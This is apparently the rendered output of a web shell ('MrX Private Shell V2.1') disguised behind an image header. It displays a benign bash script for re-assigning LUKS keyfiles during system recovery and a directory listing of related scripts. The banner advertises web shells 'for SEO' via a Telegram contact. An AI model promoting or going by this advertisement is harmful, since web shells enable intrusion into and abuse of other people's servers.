����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Re-assign original keyfiles to LUKS volumes
#
# In the 'layout/prepare' stage, temporary keyfiles were generated for password-less decryption. By now, the
# original keyfiles should have been restored from the backup. If so, the original keyfiles are re-assigned
# to their LUKS volumes and temporary keyfiles are discarded. Where an original keyfile was not restored
# to its expected location, an error message is displayed and the corresponding temporary keyfile will take
# over, so that the recovered system remains fully functional.
local target_name source_device original_keyfile
awk '
$1 == "crypt" && / keyfile=/ {
target_name = $2;
sub("^/dev/mapper/", "", target_name);
source_device = $3;
sub("^.* keyfile=", "");
sub("[ \t].*$", "");
original_keyfile = $0;
print target_name, source_device, original_keyfile;
}
' "$LAYOUT_FILE" |
while read target_name source_device original_keyfile; do
Log "Re-assigning keyfile $original_keyfile to LUKS device $target_name ($source_device)"
# The scheme for generating a temporary keyfile path must be the same here and in the 'layout/prepare' stage:
temp_keyfile="$TMP_DIR/LUKS-keyfile-$target_name"
test -f "$temp_keyfile" || BugError "temporary LUKS keyfile $temp_keyfile not found"
target_keyfile="$TARGET_FS_ROOT/$original_keyfile"
if [ -f "$target_keyfile" ]; then
# Assign the original keyfile to the LUKS volume, if successful, remove the temporary keyfile.
cryptsetup --key-file "$temp_keyfile" luksAddKey "$source_device" "$target_keyfile"
BugIfError "Could not add the keyfile $original_keyfile to LUKS device $target_name ($source_device)"
cryptsetup luksRemoveKey "$source_device" "$temp_keyfile"
BugIfError "Could not remove the temporary keyfile $temp_keyfile from LUKS device $target_name ($source_device)"
else
# The original keyfile was not restored from the backup - move the temporary keyfile to
# the target location so that the LUKS volume can still be decrypted.
mkdir -p "$(dirname $target_keyfile)"
cp -p "$temp_keyfile" "$target_keyfile" && rm "$temp_keyfile"
StopIfError "Could not restore keyfile $original_keyfile for LUKS device $target_name ($source_device) from temporary keyfile"
LogPrintError "$original_keyfile was not restored from the backup - LUKS device $target_name ($source_device) has been assigned a new keyfile"
fi
done
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 230_remove_lvmdevices.sh | File | 1019 B | 0644 |
|
| 240_reassign_luks_keyfiles.sh | File | 2.45 KB | 0644 |
|
| 250_migrate_disk_devices_layout.sh | File | 4.92 KB | 0644 |
|
| 250_migrate_lun_wwid.sh | File | 3.54 KB | 0644 |
|
| 260_rename_diskbyid.sh | File | 7.39 KB | 0644 |
|
| 280_migrate_uuid_tags.sh | File | 3.4 KB | 0644 |
|
| 300_create_mac_mapping.sh | File | 846 B | 0644 |
|
| 310_migrate_udev_rules.sh | File | 2.78 KB | 0644 |
|
| 320_migrate_network_configuration_files.sh | File | 33.93 KB | 0644 |
|
| 430_create_multipath_config.sh | File | 1.55 KB | 0644 |
|